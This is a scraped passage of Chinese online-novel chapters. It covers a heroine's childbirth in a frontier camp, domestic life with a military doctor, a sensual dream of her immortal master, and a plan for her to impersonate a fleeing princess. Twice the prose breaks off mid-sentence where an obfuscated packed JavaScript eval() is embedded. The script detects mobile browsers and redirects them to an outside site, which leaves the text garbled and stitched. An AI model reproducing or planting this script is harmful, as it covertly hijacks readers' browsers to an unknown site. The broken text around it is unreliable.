就在我几乎要失去意识的时候,一声微弱的啼哭突然在帐内响起。 是星星落地的声音。 婴儿的啼哭声响彻整个军营,盖过了呼啸的狂风。与此同时,我好像听到帐外的欢呼声。 宁安桥擦去我脸上、脖颈上的汗水:“辛苦了。” 心中的大石终于落地,我哭了,眼泪决堤,止不住地往外涌。 不是因为疼痛,也不是因为疲惫,而是因为激动和高兴。 我抬起头,泪眼模糊中看到宁安桥那张冷峻的脸正温柔笑着,宽大的手掌一下一下安抚我。 不知道为什么,委屈涌上心头,我再次控制不住自己,猛地扑进他的怀里,哭得更大声。 宁安桥的身体微微一僵,似乎没有料到我会这样。但他很快放松下来,手臂轻轻环住我的肩膀,手掌在我的背上轻轻拍着。 “别哭了,伤身子。” 我埋在他的怀里,像是要把所有的委屈、恐惧和喜悦都发泄出来。宁安桥没再说什么,只是静静地抱着我,任由我哭得声嘶力竭。 “是个姑娘,很健康。” 我接过稳婆抱过来的孩子,这颗盼了十个月的星星,终于落在了我的怀里。 小小的身子裹在柔软的襁褓里,哭声渐渐弱了下来。我轻轻将她贴近胸口,她本能地吮吸着母乳,渐渐安静下来。 我颤抖着伸出手,轻轻触碰那张皱巴巴的小脸,指尖传来的温度让我心头一颤,仿佛所有的痛苦都在这一刻化作了无尽的喜悦。 是星辰……我与他承诺的星辰…… 宁安桥轻笑着抚摸我凌乱的头发,问:“名字想好了吗?” 我点点头说:“早就想好了,叫星辰。” “星辰……”他低声重复了一遍,怜爱地唤着怀中的小小。“不随爹姓吗?” 宁安桥面无表情地揶揄,我随即瞪了他一眼。 “你又——” 宁安桥笑着,见稳婆离开轻咳了两声。 “我去打盆热水。” 我下意识地拽住他的衣袖,手指紧紧攥住那冰冷的布料。 宁安桥轻声道:“星辰在喝奶,你也该擦擦了。我很快回来。” 我看着他,眼泪在眼眶中打转。 一声极轻的叹息落入耳中,他终于低下身,抬手将我的头发挽着耳后。 “别怕,我很快就回来。” 怀中的星辰安安静静。 “星辰啊星辰……你爹爹小时候应该也是样子吧。” 忽然想到什么,连自己也忍不住笑出声来。 “喵呜~” 一只猫咪突然出现在视野中,三两下地跳到了我身边乖乖坐下。 “二胖你看,她叫星辰。颜如卿月,诞星辰。又或是,砚如清月……” 金黄色的眼睛愣愣盯着星辰,我看见它几度抬起爪子想触碰,但又慢慢放下。 “等妹妹长大些了,二胖就可以摸啦。” 二胖似乎听懂了,极其小声的嗷了一声。 “嗷呜。喵唔唔喵,嗷喵喵。” 我像是听懂了二胖的喵语,难以置信地追问:“你说……不对。她不姓颜,而姓砚?” 二胖一本正经地端坐盯着我,甚至听完我的话,眨了眨眼。 我一个噗嗤虚弱地笑出声。 “若砚清当真是医仙的孩子,不该姓葛吗?你说,颜卿的颜,会不会是因为疏花元君的本名,也姓颜?” 59. 福星高照 颜卿如晤: 边塞风雪摧折,较之信州更寒十倍。夜深独对孤灯时,最忆墨梅映雪景。 得君手书,如获至宝。每于无眠之夜取出细读,犹见执笔时眉目。所赠墨梅图已觅得城中良匠装池,悬于帐中,晨昏相对。 北地星辉虽灿,恨不能绘以寄君。此信字迹歪斜,盖因提笔多忘字,问遍营中同袍方得成篇。 信州府海棠应发矣。犹记去岁与君同摘桂花,今秋恐难共尝新糕。 战事未歇,归期难料。惟愿尘埃落定日,与君重攀清溪山。 伏惟珍重。 楚风手泐 持续数月的战事终于停歇,双方筋疲力尽地坐上谈判桌。第一条便白纸黑字写着:谈判期间,谁也不许动手。 宁安桥趁机提议:“去环州住些时日吧。”他在那儿新建的宅院,正好让刚满两个月的星辰换个环境。 六月暑气渐浓。长途颠簸让我几欲作呕,倒是怀中的婴孩安睡如常,只在饿时才哼唧几声。 “怎么都不醒呢?”我轻戳星辰粉嫩的脸颊。 宁安桥失笑:“醒了哭闹,你又盼她睡。” 车帘外蝉鸣忽远忽近,我突然靠上什么昏昏欲睡。 星辰。 姜妍不太满意的名字终究还是被敲定,想知道她听到后会是什么表情。估计会一边抱怨我没用上她取的四月,一边痛哭流涕抱着星辰不肯撒手吧。 如果是颜卿呢?我猜会是这么一幅画面:抱着星辰,两眼发愣,神情恍惚,整个人像被定住一般,然后眼泪悄无声息地从眼眶滑落。说句话?大概会说……是我的星辰,爹爹会宠爱你一辈子的! 如果是柳砚清?嗯——不太敢幻想。跟别的男人生的孩子也敢抱给我看?哼!我要你给我也生一个!哈哈哈哈……应该不会吧。 星君下凡,绝世仙骨。 一具身体里真的可以怀上两个男人的孩子吗?柳砚清倘若知道腹中我与他的孩子被地府夺取,会不会一怒之下闯进地府要人啊?是他的话应该做得到。他可是把我从黄泉拉回凡尘的人啊。 在神界,绝世仙骨的诞生并非偶然,而是需要极为严苛的先决条件。首先,夫妻双方必须皆为仙人,且道行极高,至少达到“天仙”或“金仙”境界,方能触及天地法则,孕育出超凡脱俗的后代。若其中一方天生拥有仙骨,则孩子继承仙骨的概率会大幅提升,但这还不足以称为“绝世仙骨”。 要诞生绝世仙骨,还需另一方的神仙血脉极为浓厚,甚至需追溯到上古神族或先天神灵的血脉传承。这种血脉不仅蕴含强大的灵力,还能与天地共鸣,引动大道之力。当双方的血脉与道行完美融合时,便有可能在子嗣体内孕育出“绝世仙骨”。 谁告诉我的?当然是书上写的。 柳砚清能在三百年间进阶仙人,求学蓬莱学习医术,正是他天生拥有仙骨。他尚未跟我提及过父母之事,下次再见问问他吧。至于重生前的我,结合书上的描述,我爹爹少说也是金仙等级的神仙。我是个什么东西就不晓得了。 金仙等级的神仙……爹爹……方大仙确实看上去就不是普通的神仙。 宁安桥在环州的宅子是一座简朴的两层木楼,青瓦白墙,隐在巷子深处。推开斑驳的木门,便见一方小院,院中一口老井,几丛青竹,墙角种了些花草,朴素却生机勃勃。一楼是堂屋与灶房,堂屋内摆着方桌木椅,墙上挂着一幅泛黄的字画;二楼是卧房,窗棂糊着素纸,推开便能望见远处的山影。后院种了些菜蔬,角落里搭了个小棚,堆着柴火。虽无雕梁画栋,却清净自在,正是寻常百姓家的模样。 “宁医师何时来住过?” “从未。” “是吧。” 我用指尖试探了下桌上的灰尘厚度,预感大事不妙。 “不会是拉我来大扫除的吧……” “城中有提供翻新服务的店家,今日我们先去街市添置些物品,晚点再回来。”宁安桥看了眼天色,继续说:“恐怕今晚得住旅店了。” “是吧。” 我倒无所谓,只要星辰大晚上别哭闹,吵到住店的人,揍我一顿就行。 数月后。 “星辰!” 我眼疾手快,一把抓住小姑娘那蠢蠢欲动、差点抓起地上泥块的小手。 转眼间,星辰已长到了七个月,好动的天性渐渐显露。屋内的桌椅也成了她的“游乐场”,她扶着桌腿摇摇晃晃地站起来,小脚一蹬,便想往椅子上爬,吓得我连忙上前护住。这小丫头,一刻也闲不住。稍不留神,她便从屋内爬到院子旁的菜地里,小手一抓,菜叶上便多了几个小洞。 “脏脏,不可以哟。”我柔声哄道,“来,娘亲抱抱。” 星辰低头瞅了瞅空空如也的小手,嘴巴一撇,眉头一皱,那委屈的小模样儿,简直让人心疼得紧。 “诶!怎么哭了?”我顿时慌了神,手忙脚乱地安抚着。可谁知,这小祖宗越哭越来劲,眼泪珠子吧嗒吧嗒往下掉,弄得我也跟着眼眶一热,差点没哭出来。无奈之下,我只好向身后的宁安桥投去求助的目光。 “我试试。” 宁安桥接过星辰,说来也怪,这小丫头一到他怀里,立马就止住了哭声。小手紧紧勾着宁安桥的脖颈,眼角还挂着泪珠呢,却已经破涕为笑。 “啊,不哭了……为什么!” 我瞪大了眼睛,难以置信地看着这一幕。难道是因为我抱抱所以哭了? 这、这简直不可理喻! 宁安桥一手托着星辰的小身子,另一只手稳稳扶住她的后背,将她高高举过头顶。星辰睁着圆溜溜的眼睛,小嘴咧开,咯咯笑个不停。 “因为星辰喜欢爹爹,对吗?”宁安桥得意洋洋地问道。 “诶~” 星辰奶声奶气地应了一声,小模样儿别提多可爱了。 “……” 我站在一旁,看着这俩你一言我一语好不默契,心里那叫一个酸溜溜的。这问题问得,不就在变相地说不喜欢娘亲吗! 娘亲做错了什么…… 他轻轻将星辰放下,又迅速举高,像是逗弄一只欢快的小鸟。星辰的小手在空中挥舞,试图抓住什么,却总是扑空,笑声更加清脆。 “飞高高,喜欢吗?” 星辰当然听不懂,只是用一串咿咿呀呀的婴语回应,小脚丫也不安分地蹬着。宁安桥依言照做,动作却比之前更加轻柔,生怕吓到她。转了几圈后,他将星辰抱回怀里,让她的小脑袋靠在自己宽厚的肩膀上,轻轻拍着她的背,低声哼起一首不成调的曲子。 好熟悉的曲子…… 对了,是玉笛经常吹奏给我听的曲子。 为什么宁安桥会知道? “宁医师不介意……喜当爹吗?” “嗯?” “没,没什么。” 我转过身去不再看他。 “如果是你,我不介意。” 他低沉的声音从背后传来,像是春风拂过湖面,激起层层涟漪。 突如其来的话语让我心头一颤,这算是告白吗?我抿嘴一笑,伸出手指任由星辰的小手紧紧抓住。 “还是介意吧。” 宁安桥盯着我的侧脸,突然走到我正面,举着星辰到面前,学着娃娃奶声奶气的声音说:“你不想和我在一起吗?” 身高八尺的魁梧大汉说出这样的话,真是滑稽至极。我捧腹大笑,眼泪都笑出来了。 宁安桥一手抱着星辰,一手牵起我,认真地说:“我可以和你一起抚养星辰长大,可以照顾你,照顾星辰。你不喜欢军营我们就搬到这儿来,或者请命回东京,在城中买一处宅院安定下来。” “……你已经想过那么多了吗?这么闲?”我调侃道。 “不是。”他骤然冷脸,“随口说的。死脑筋。” 我举起星辰的小手抚摸宁安桥没有温度的脸,笑着说:“星辰你看,宁医师又闹别扭了。” “诶~?” 星辰当真以为他生气了,两只小手开始拍打宁安桥粗糙的面庞。 “好啦,星辰都来安慰你了,别生气啦。” 我晃荡着他牵起我的手,试图缓和气氛。 “唔——” 突然,宁安桥的唇覆了上来,我瞪大了眼睛,这家伙居然偷袭我! 我佯装生气地踢了他一脚,嗔怪道:“当着孩子的面干嘛呢!” “她也看不懂。”他理直气壮地回答。 见还想变本加厉靠上来,我立刻举起星辰挡在脸面前,生生堵回去。 “都说了不行了!” 宁安桥失落了片刻,又装作什么也发生抱着星辰去了别处玩。 【入卿梦也】 “……哈……啊……哈……嗯……” 燥热的深夜,乌云遮去了月。 好像迷迷糊糊看见一头墨发垂下,盖住我的脸。通过发缝,是一张失神热意灼烧的脸。 我后仰起头,努力伸长脖颈盯着恍惚的天花板。那人的手心发烫,隔着单薄的衣裳只差一点就能烫伤我。 “……砚清……颜……清” 那人俯下身,借双唇渡给我什么甘甜的液。我仿佛在沙漠行走数日没有水的旅人,迫切地咽下他不断送来的甜。似是医鹿山初见的甘露,也似后山驱散冰霜的腊雪水,也似他身体中流淌出的热源。 “……我还要……要你……” 唇缝中走漏的风声,是我的。手指在黑暗中不断摸索他的,是我的。被冲昏了脑袋忘了自己身在何处的人,也是我…… 那人温热的唇,在我身上留下或深或浅的印记,刺骨的冰冷惊起一阵寒颤,让人不自觉紧绷身体忍耐下去。我屈起膝盖侧过身,像母胎中婴孩蜷缩成一团。他顺着我的动作前倾,墨发笼住我,宽大的身躯包裹住我。 “数年不见,你可曾想起我?” “……哈,哪儿有数年……不过……两载春秋啊……师……师尊你……都不曾来看我……莫不是把我哈……忘了……” 那人忽然右手拉住我的手腕,左手冰凉的指尖顺着经脉一路下滑。我蜷起指尖,奉上双唇,吻上他右手手腕上的玉石。 一块与我左手玉石互补的神石。 “砚清……” 红唇微启,仙人似是再也忍不住,低头吻住了那抹嫣红。这个吻温柔而缠绵,带着竹梅清香,又夹杂着药草的苦涩。我轻哼一声,双臂环上他的脖颈,假装笨拙青涩却满是热情,让这个吻愈发深入。仙人的手不自觉地抚上我的腰肢,隔着薄薄的衣料,能感受到我肌肤的温度。 他的手掌缓缓上移,触到我腰后的系带。我身子一颤,却没有推开他,反而将他搂得更紧。这个默许的举动让砚清更加大胆,他的手指灵活地解开系带,衣襟随之散开。 仙人问道:“为何不呼唤我?” “……我不敢。” 忽然,他的气息逼近,我还没来得及反应,他的手掌已经扣住了我的后脑。他的吻又急又凶,像是要将我所有的犹豫和不安都碾碎。我的双手抵在他的胸口,却推不开他分毫。 “不是不敢,是不想吧。” “……我……不是……” 那人缓缓起身,墨发提起,指尖点了点我的肩头说:“这里,有被星辰抓到的伤痕。” “砚清……颜卿……” 我含糊不清地唤他,声音再次被他吞没在唇齿之间。他的手掌紧紧贴在我的后腰,将我往他怀里按。直到我几乎喘不过气,他才稍稍退开,呼吸粗重而紊乱。 “到底是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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星辰的降生带来了欢愉,可每当集市上有人误唤我“宁夫人”,我总要慌忙解释。宁安桥站在一旁,眼底的光明显便黯了几分。 晨起时窗棂透进的阳光里,我总错觉能闻见医鹿山的药香;星辰咿呀学语时,我教她念的第一个词是"砚清"。 檐下这盏灯,终究照不亮错误的人。 “你眼中的我,是梦里的仙子,还是现在的凡人?” 宁安桥望着我,答得没一点犹豫。 “现在的你。” 幽深的眸子里没有泄露丁点情绪,一如从前理所应当。我迎上他平静的目光,静静地道出:“我不可能永远留在你身边”。 “我知道。你是天上的仙,自然不会停留人间太久。” 我沉默片刻,目光从他深情的眼眸移开,转而落在摇篮里熟睡的星辰身上,看向屋内生活痕迹的点点滴滴。 窗台上那盆我随手栽种的桔梗花,窗外池塘里盛开的两朵莲花,桌上未喝完的半盏茶,墙角堆叠的几本书。这些琐碎的细节,像是一张无形的网,将我与这片人间烟火紧紧相连。 模仿着医鹿山后山小屋的模样创造的新天地,内心终究不再是两年前的我。 我忽然意识到,我早已不再是那个遥不可及的“仙”,而是被这些点滴温暖拉入凡尘的普通人。恢复记忆以后?等我习惯了这般生活,真的还能回到天上做一个逍遥自在的神仙吗。 宁安桥难得笑了一声,说:“多愁善感不是什么好事。你有星辰,不就足够了?” 我细细思索,摇了摇头,说:“不够。我想给她的,还远远不够。比起命途多舛的娘亲,动荡不安地边疆,她更适合……远离硝烟的地方。” 本想说她更适合待在爹爹身边,回到颜卿身边,快乐地成长。 宁安桥若有所思般沉吟了片刻,对我微微垂眼。 “你想把星辰送回信州吗?” 沉默片刻,我发现自己答不出这个问题。我舍不得星辰,舍不得她离开我。何况再见之日遥遥无期,倘若她离开我,我何时才能在见到她。 “……我不知道。如果有什么办法能换来太平,为了星辰,我愿意一试。只可惜……这一世,我不过普通的凡人。” “你的愿望会实现的。” 我怔住了,宁安桥继续说道:“天下局势分久必合,合久必分。任何战事都会迎来结局,哪怕是好是坏,终究会有一个了结。”宁安桥的声音像是看透了世事的无常。他转过身,目光落在我身上,“到那时,星辰不必再远离你,你也不必再为她忧心。一切,都会有个结果。” 窗外月光如水洒在宁安桥的侧脸上,他的目光依旧追随着我。我低下头,手指无意识地攥紧被角,心里涌起一阵说不出的落寞。 贺祈安送来紧急回营的天,正好是中秋夜。酒过三巡,贺祈安脸上不安的表情依旧不减,甚至趴在桌上独自惆怅。他没主动说,我们也不好问,只默默陪着他。 “明日我和二将军一起回营,你和星辰就留在这儿。” “可是——” “楚风也得和我们一起去。”贺祈安忽然坐起身,心事重重的样子,几度欲言又止。 “二将军是有什么事要跟我说吗?”我问。 贺祈安犹豫着,点头。 “莫非与那日大将军与我讲的事有关?” “没有关系……也有关系吧。” 他抬眸,不偏不倚看向我。 “公主逃婚了。” 60. 愁君未知 中秋的月色清冷如霜,桌上摆满月饼瓜果和一壶温热的桂花酒。 难得贺祈安也在环州,我们便邀请上他一起过节。 “难得中秋,生辰宴,今夜不醉不归!” 贺祈安举杯,笑意盈盈,挑眉不怀好意道:“顺带讲讲安桥以前的事儿。” 他不急不缓地讲起军营里我不知的趣事,尤其是宁安桥那张臭脸闹出过的喜剧,逗得我笑出声。 我仿佛隔着遥远的时光,见到了曾经孤身一人坐在荒漠里喝孤酒的人。 宁安桥虽不多言,但目光时不时落在我身上,见我笑,眉目舒展稍稍勾起唇角。 院子里笑声不断,月光映出一片其乐融融的景象。 星辰在摇篮里睡得香甜,偶尔翻个身,发出几声梦呓。 贺祈安忽然站起身,走到院子中央,仰头望着月亮,大声道:“今日中秋兼生辰,不如我们来对诗助兴!”他说完,转头看向我,“楚风,你先来?” 我笑着摇头:“我哪里会对诗?你还是找宁医师吧。” 贺祈安淡淡瞥了眼宁安桥:“算了,我怕待会有杀气泄露。以前叫他跟我们喝酒,喝到最后连针都拿出来了。二话不说就要扎我们,太可怕。” 我哈哈大笑,摆了摆手:“不至于不至于。宁医师的性子早被星辰给磨没了,放心。” 宁安桥没有否认,闷闷哼了声。 “上一个把他性子磨灭的人,还是三弟。” 宁安桥顺着贺祈安的话往下接。 “我不记得被三少爷磨炼过性子。” “你的酒量还是三弟天天拉着喝练出来的,我会不记得?” 贺祈安语气轻松地应着,眉目间却突然沉着郁色。 我思索再三,还是问出了盘桓在心的疑惑。 “从刚才起二将军就一直说今日既是中秋也是生辰宴,莫非——”我看向宁安桥,“是宁医师的生辰?” 宁安桥端起酒杯,垂眸盯着杯中的酒:“不是我,是三少爷。今天即是他的生辰,也是他的忌日。” “可你冬天的时候……” “那时只是想找他喝酒罢了。” 须臾间,两人脸上的表情浮现出强颜欢笑。 贺祈安似是叹息道:“贺家已经好多年没一起共度中秋了。” 我第一次看到贺祈安伤心的模样,一同当初贺祈骁给我讲述三弟逝去前的故事的表情。 他们,都很想念他。 酒过三巡,贺祈安放下酒杯,脸上的笑意瞬间敛去。 “大哥召集所有人即日回营。” 宁安桥眉头微蹙:“出什么事了?” “嗯。” 不必多言,此事必定非同寻常。 宁安桥沉默片刻,心中已有定夺,转而看向我。 “我同二将军回营,你和星辰留在环州。” “不行!我好歹也是被发配到这儿的人,说不定能帮上什么忙。” 没等宁安桥与我对峙,贺祈安淡淡道:“楚风也一起回去。” 接下来他说的话像一道惊雷,劈开了夜的宁静。院子里瞬间安静下来,连风声都仿佛停滞。 “公主在和亲途中逃婚了。” 我手中的酒杯微微一颤,酒水溅出几滴,落在手背上。宁安桥的目光骤然一沉,却没说话。 “已经找了七日,仍旧下落不明。凭公主一人之力,绝无可能逃得无影无踪。大哥推测,定是有人暗中接应,将她带走了。” 公主名唤赵清漪,是当今皇帝膝下唯一未出阁的女儿,自幼聪慧过人,深得圣心。生得明眸皓齿,仪态万方,琴棋书画无一不精,更兼性情温婉,素有“赵国第一才女”之称。 好在事发地距离定边军只有几十里路程,送亲的使臣迅速通知贺祈骁,一齐寻找公主。 几日过去,依旧毫无音讯。 “东凉使者下月一日就到定边军,大哥已经焦头烂额,消息一点都不敢泄露。现在紧急召集所有人回军营,准备应对。” 贺祈安说到这里,目光落在我身上。 “你得跟我一起去。” 我抬头看他,心中隐隐猜到他的用意。 将军营内,贺祈骁说要和我单独谈谈,遣走了所有人。 “我曾有幸见过公主。虽说没有完全相似,但足以以假乱真。公主德才兼备,贤良淑德,你……” 话音戛然而止,他自嘲似的笑了声。 “话又说回来,东凉人根本没见过公主。礼仪得当,不出岔子,应该没问题。” “大将军莫非是要我……假扮公主?” “未雨绸缪,还没有正式敲定。护送公主和亲的史丞相正在赶来,等他到了再作定夺。这是不得已的办法,也可能是……最后的办法。我觉得有必要先告知你,好做心理准备。欺瞒之罪,可不止是杀头这么简单。” 我知道,毕竟欺骗的可是东凉皇帝,一举改变东凉碾压赵国的拓跋枭。 贺祈骁转身走向帐内一侧的武器架,伸手从最上层取下一把匕首。 匕首的刀鞘上刻着繁复的花纹,隐隐透出一股冷冽的气息。 他握在手中,指尖轻轻抚过刀鞘,仿佛在触碰一段尘封的记忆。 随后,他转身走回我面前,将匕首递了过来。 “我们贺家每人都有一把印着祖先图腾和姓氏的匕首。这一把是我三弟的,他曾将匕首送给了他的挚爱,一位身世不明的姑娘。三弟死后,这把匕首跟着那姑娘一起离开了京都。说是离开……其实是消失了。某日,匕首突然出现在贺家,连同一封信笺。信上说,三弟被埋葬在一片花海,却没说在哪儿。现在——” 贺祈骁突然与我四目相对。 “该物归原主了。” 我接过匕首,忐忑不安。 “我不明白大将军的意思。” “还记得我之前跟你讲的,关于我三弟的故事吗。” “记得。他本要与公主成亲,成为驸马,却因为爱上了一位平凡姑娘,最终……在成亲当晚,也是他二十岁生辰那晚,死在了贺家的院子里。” 他越过我,不动声色地看了我一眼,驻足站在我身后。 “我听说你之前出了场事故,忘记了以前的事。” 我心中隐隐生出一丝不安,颤抖的手指细细抚摸过手中没有温度的匕首。 “那个人……难道是我?和大将军三弟成亲的人……是我?” “可名字不一样。” “那时候……那人叫什么名字?” 他缓缓吐出两个字。 “南风。” 在获得三个名字后,我本以为会按照战国七雄的名字“齐楚燕韩赵魏秦”以此类推。 燕风之后的下一个名字该是韩风才对。 突如其来的南风,瞬间打乱了我的所有猜测。 按照神像的话,记忆没有恢复,南风依然不是我的名字。 贺祈骁要我暂时忘了贺家三少爷的事情,专注和亲一事。 他找了贺祈安教授我公主最基本的礼仪。军营中除了他知道这些,找不出第二人。 和亲啊……未曾设想过的道路。 战火无情,更何况这场战争持续得多年,若能以和平的方式解决,哪怕是牺牲一个人的幸福,再好不过。 和亲的公主消失,东凉的皇帝又不认识我,也不认识公主,是真是假,没人分辨得出。 自从听闻东凉大军在北境蠢蠢欲动的近况,皇帝几次病倒,过分忧虑。不得已,才将自己最疼惜的公主送去和亲。 哪晓得,公主半路消失了。 护送的史丞相说已经派人去寻,只是眼下和亲时间不能耽搁,无论如何都需要一个人顶替。 这是顶替一段时间的问题吗?难道不是直接代替公主去和亲,一辈子关在东凉皇宫里吗? 起初的人选是公主身边的侍女,一位叫风儿的姑娘,洛城人。 本来敲定的事情,在军营看到我后立马改了主意。 风儿姑娘也被抓去寻找公主的队伍,意味着去东凉和亲,我身边只有一个史丞相陪同。 说与公主有几分相似,不用想,肯定是说服我的借口。 星辰还小,我实在不放心离开她。 本想着战争平息下来,我便带着星辰回信州,回到颜卿身边。 眼下看来,又是虚妄。 阳光透过帐顶的缝隙洒下,帐内一片明亮。 我身着公主的华服,衣料上的金线在阳光下闪烁。 负责护送公主入东凉的史丞相站在我面前,手中捧着一卷礼册,正仔细叮嘱着和亲途中的礼节事项。 “此行关系重大,务必谨记东凉皇室的礼仪规范……” 我点了点头,一一记下。 帐帘忽然被掀开,贺祈骁大步走了进来。他身着戎装,神色冷峻,目光在我身上停留片刻,随即转向史丞相,微微颔首。 史丞相合上礼册朝贺祈骁拱手道:“大将军,礼节事项已交代完毕,我便先行告退。” 贺祈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056773|179140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骁拱手致谢:“有劳丞相。” 贺祈骁与史丞相皆是朝中举足轻重的人物。两人虽一文一武,却因职责所在,常有交集。 史丞相退了出去,帐内只剩下我与贺祈骁。 他不急不慢开口道:“军营再见到你的上一面,是在贺家。你跪在三弟身边,穿着嫁衣,脸上是哭花的妆容,完全看不清你的表情。” 我沉默着没说话。 “实话告诉我吧。三弟,被你埋在哪里?” “抱歉……我不记得了……我什么都不记得了……对不起……” 贺祈骁长叹了口气,背过身去。 落寞的背影让我的内疚更深。 “大将军恨我吗?” 贺祈骁轻笑一声,反问道:“为何要恨你?杀了三弟的人又不是你。” “可我带走了他的身体。听二将军说,贺家的规定是必须祖祖辈辈葬在一起……可我却……” “你有你的理由吧。换做三弟,他肯定宁愿违背祖宗的规定,也要听你的。” 他突然无奈笑了下。 “等你回忆起来,告诉我那片花海的位置吧。我……想去看看他。” “……好。” “不止是我,军营上下都想去给他烧一炷香。他是因我们而牺牲,我们都欠他一场送别。” 我忽然想起宁安桥提着酒壶去荒漠祭奠的场景。 少年将军定是个重情重之人,哪怕离去数年,仍有人盼着他归来。 “他的名字,是叫贺祈源吗?” 贺祈骁的手指微微一顿,低垂着眼,嘴角扯出一丝苦涩的笑:“连名字也忘了啊。” “抱歉……” 帐内一时陷入沉默,只有帐外的风声偶尔传来,像是一声声低沉的叹息。 良久,我突然想起贺祈安对我的态度,忍不住低声问道:“大将军没有告诉二将军我是谁,为何?” “怎会认不出。二弟自己选择不相信的,做大哥的何必固执。” “二将军他……讨厌我吗?” 他目光落在我脸上,似在审视。 “你认为呢?二弟做事坦坦荡荡,若你能感受到厌恶,那便是了。” “没有。” 从未感受到过。 贺祈骁的目光微微放远,仿佛穿透时光,回到了多年前的那一日。 “当年三弟把你带回贺家,满堂的人只有二弟站出来支持你们。操办婚事也属他最积极,比当事人还忙得热火朝天。那天,本该双喜临门。不曾想,一夜之间,喜事变丧事。” 我的心像是被一只无形的手狠狠攥住,呼吸都变得艰难。 “那些人是谁?为什么要杀他?” “这个答案,等你到了东凉皇宫,就能知晓。” 他伸手从袖中取出一张素白的手绢,递给我。 “时间到了,我们出去吧。” 我接过手绢,指尖相触的瞬间,才发觉自己的手冰凉得可怕。 抬手擦拭脸颊时,竟触到一片湿润。 原来不知何时,泪水早已无声滑落。 “大将军。” 我欲言又止,将贺祈源曾经赠予我的匕首还给贺祈骁。 “我会尽我所能,守护这片疆土。关于他的回忆,恳请大将军替我保管。” 贺祈骁唇畔有隐约笑意,表情柔和地接过。 “三弟曾说,他喜欢画梅,是受了你的影响。那本梅花集特意留白了最后一页,因为他想画的最后一片梅林,不在人间。” 我忽然想起在医鹿山书库见到过相似的画集,那时的最后一页也写上了相似的话。 “三将军喜欢画画?” “唯一一幅卷轴,在他离开那晚一并消失了。” “……也是我吗?” “不。是取走他性命的人。” “找到那幅画,就能找到凶手。顺藤摸瓜,就能撕开当年的真相。” 也能揭开我遗失的记忆。 “果然,奇妙得很。” “嗯?” 我与他矗立在营帐门前,贺祈骁忽然毫无预兆的说了句没缘由的话。 “若祈源还在,两年前,就该和清漪公主结为连理的。” “……两年前?” 心头咯噔一下,眼皮抽了两下。 “是因为战事吗?” “是因为祈源执意退婚。” 我咬紧下唇,惊愕的眼神在此时对上大将军平淡的目光。 “为了娶你。” 61. 画舸停桡 卿亲启: 这恐怕是我最后一次给你写信。事关机密,原谅我不能一一告知。 随信而至的星辰,此刻应已在君怀。边关离别时,她尚在襁褓,而今该会扶着桌案学步了。 还记得那句诗吗,你告诉我的:颜如卿月,诞星辰。 我答应会送你一颗星星,但没想到是这么一种方式。 其实信州呕吐非胃疾,实为妊娠之症。每每提笔欲告,又恐君知。将死之人,原想抹尽痕迹,却留最深的烙印。星辰来得突然,走得仓皇,终是未及与君道别。 比起娘亲,她更适合待在爹爹身边。有爹爹保护她,给予他义无反顾的爱,就像爹爹对娘亲那样。我一直跟她讲,爹爹是个多好的人。给她讲你在信州的传说,和逸闻趣事。她明明听不懂,却还笑着回应我。 还没亲口问过你,喜不喜欢颜星辰这个名字?排除过颜四月和颜星,最后决定用星辰。 你觉得星辰最像你的地方是哪里?我觉得是眼睛,还有她右脚脚踝上的那颗痣。同样的位置,我记得你也有一颗。小家伙似乎知道爹爹在东南方向,每次抱着她,她总喜欢指着那边,嘤嘤呀呀地说着什么。我猜,她是在喊爹爹的名字吧。 真想见到她长大的样子,也想亲眼看着她出嫁,也想你。 勿念,无期。 南风谨上 【又拂卿柳】 云端霞光流转,一只白鹤破云而出,衔着的信笺在风中微微颤动。柳砚清立于云巅,广袖翻飞,伸手接住信笺时,指尖触及一丝残留的体温。 “莫非她猜到了?” 袖中沉甸甸的,是这两年来积攒的每一封回信。信纸边角平整,墨迹如新,仿佛时光从未流逝。白鹤清亮的眼眸凝视着他,似有千言万语。柳砚清轻抚它的羽冠,低声道: “此仙术虽说必须由她想起你才会解除,但至亲之人倘若见到你,是会认出你的。法术,也会因此失效。许你守在她身边,但莫要在第三人面前暴露。尤其是……你的兄长。” 白鹤昂首长鸣,声彻九霄。 柳砚清垂眸,将信笺收入袖中。天边霞光如血,映得他眉眼愈发清冷。 “那夜之事,非我不愿助她……”他望向云海尽头,声音散在风里,“只是若不历此劫,她永远无法找回真正的自己,永远记不起……那个让她甘愿以命相换的人。” 柳砚清知道自己偏执成狂,甚至—— 错得彻骨。 可这世间最讽刺的,莫过于明知是错,却不得不为。 自食其果,这四字,终究又一次应验了。 军营辕门外,贺祈安正查点粮草,忽闻一阵急促的马蹄声。抬头望去,只见宁安桥已利落地翻身上马。 “安桥?你这是去哪儿?” 贺祈安大步上前,一把拽住缰绳,马儿乖乖站着不动。 “环州。楚风快生了,估摸就这几天,我去请稳婆。” 贺祈安顺着他的目光望向天际,浓重的乌云正以肉眼可见的速度压向地平线。 “近来天气异常,万一你赶不回来怎么办?况且这兵荒马乱的,稳婆也不见得会跟你走。” 宁安桥当然知道,但自己没有接生的经验,总要请稳婆来更为妥当。 “总要试试,大不了把人绑过来。祈安替我照顾好楚风。” “你别……”话到嘴边又咽下,贺祈安最终只是重重地叹了口气,“算了,一路小心,早去早回。” 战马如离弦之箭,在荒漠中扬起一道烟尘。宁安桥伏低身子,耳边尽是呼啸的风声。忽然,马儿前蹄高高扬起,发出一声惊恐的长嘶。 漫天黄沙中,一抹素白身影静立。 “师尊?” 